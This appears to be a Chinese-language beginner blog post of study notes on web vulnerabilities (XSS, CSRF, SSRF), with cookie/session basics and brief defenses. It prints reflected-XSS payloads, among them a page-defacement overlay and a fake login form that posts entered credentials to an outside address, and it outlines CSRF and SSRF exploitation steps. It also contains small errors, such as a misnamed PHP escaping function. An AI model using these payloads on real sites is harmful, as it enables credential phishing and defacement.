网络安全Web篇(一)(xss、csrf、ssrf)

记录一下基础的知识(xss、csrf、ssrf)

xss:

	跨站脚本攻击,
	来自用户的不可信数据在没有验证情况下被应用,导致浏览器引擎执行了非预期代码

1,反射型: 测试一般就弹个窗,黑个网页,比如:

//弹个窗
?<html>=<script>alert(1)</script>

//挂个黑页
<table style="left:0px;top:0px;position:fixed;z-index:5000;position;absolute;width:100%;height:100%;background-color:black;"><body><tr><td><h1 >%e4%bd%a0%e8%a2%ab%e9%bb%91%e4%ba%86</h1></td></tr></body></table>
//%e4%bd%a0%e8%a2%ab%e9%bb%91%e4%ba%86是url编码,各位可以直接url解码就知道内容了

//放假的登录框
<table style="left:0px;top:0px;position:fixed;z-index:5000;position;absolute;width:100%;height:100%;background-color:white;"><tr><td><form action="http://www.baidu.com" method="post">账号:<input type="text" name="name"><br>密码:<input type="password" name="pwd"><br><input type="submit" value="登录"></form></td></tr></table>


//有的站点 这个?<html>=  不加也可以

2,存储型: (在输出点与输出点没有做限制)

非法代码被上传保存到数据库。
再从数据库中下载文件时,非法代码被浏览器引擎解析执行

3,DOM型:(文档对象模型)

不需要依赖于服务器端响应的内容,如果某些页面使用了DOM元素的属性,
攻击者就可以利用这些属性植入恶意脚本实施攻击(javascript)

危害例如:
	提交留言,内容为恶意代码(可以获得cookie与网址),管理员一点击就中攻击。

4,修复:

对输入过滤,对输出编码。比如:PHP中的htmlscriptchars()函数

5,补充:

	前两种XSS都会与服务器产生交互,后一种不会产生交互。
	
	cookie:一种凭证,主要为了辨别用户和记录历史
	cookie与session
			1,session 在服务器端,cookie 在客户端(浏览器)
			2,session 默认被存在在服务器的一个文件里(不是内存)
			3,session 的运行依赖 session id,而 session id 是存在 cookie 中的,
			也就是说,如果浏览器禁用了 cookie ,同时 session 也会失效
			(但是可以通过其它方式实现,比如在 url 中传递 session_id)
			4,session 可以放在 文件、数据库、或内存中都可以。
			5,用户验证这种场合一般会用 session
	简单理解:
			session是锁,session id是钥匙,cookie是盒子(装session id)

CSRF: //客户端发起请求

跨站脚本伪造 

利用:	bp抓包修改资料的网页,生成csrfPoC,保存到一个php文件里
		开头可以增加访问自己写的一个网站。
	    这样别人一点击这个php连接,就会被修改资料。而你这边也会收到反馈。

SSRF: //服务器发起请求,(一般作为跳板)

1,类似CSRF 		
	多数用于攻击内网,因为一般的内网,外部IP进不去,
	只能用内网服务器作为跳板。 		
	比如探测内网IP、端口开放等等。



2,如何探测SSRF是否存在呢? 		
	将请求网址设置为  自己写的一个php里,
	如果服务器访问了,则会留下服务器的IP
	
3, 防范: 		
		最暴力的方法:下线功能 		
		最有效的方法:设置白名单
发布了24 篇原创文章 · 获赞 3 · 访问量 1758

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/103528052